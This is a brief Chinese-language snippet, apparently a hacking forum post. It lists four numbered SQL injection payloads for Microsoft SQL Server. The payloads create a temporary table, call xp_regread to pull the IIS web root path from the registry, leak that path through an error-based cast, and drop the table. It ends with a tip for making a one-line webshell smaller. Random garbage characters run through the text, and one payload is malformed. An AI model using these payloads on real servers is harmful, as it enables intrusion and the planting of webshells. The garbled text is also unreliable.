1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)-- 创建表
4 m" v$ l: r* f. E8 c$ y9 k1 m. _4 |: D; l4 D6 {; P( m9 `
6 x3 M0 g. {0 n
2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread ’HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’-- 将网站目录插到表字段中- g+ Z* t" N5 |3 n# a( B
+ R8 w9 I6 K! G0 g
4 U$ l7 B# @. \+ D# g6 @0 [ 3、and (select top 1 cast([data] as nvarchar(4000) char(124) from [jm_tmp] order by [data] desc)=0 ’//暴出字段" h$ J% Z2 @6 I; p) R
( L4 _% R, _& R7 h3 ?
- ~2 ?4 c/ W0 W' ~ \
4、drop table [jm_tmp]-- 删除此表。5 j! a \) U( J, ~8 e1 r
* k8 \ L1 _# _$ ^) E! M' J) n- X' q+ g* \( s g9 R
另附上备分专用一句话
/ [- \+ E7 E) Q4 s W 加个response.end会有不一样的效果,也就是插入一句话后所有的代码都无效,在一句话这里打止,也就减小了webshell的大小.6 w9 z! S9 L" Y5 I. P
|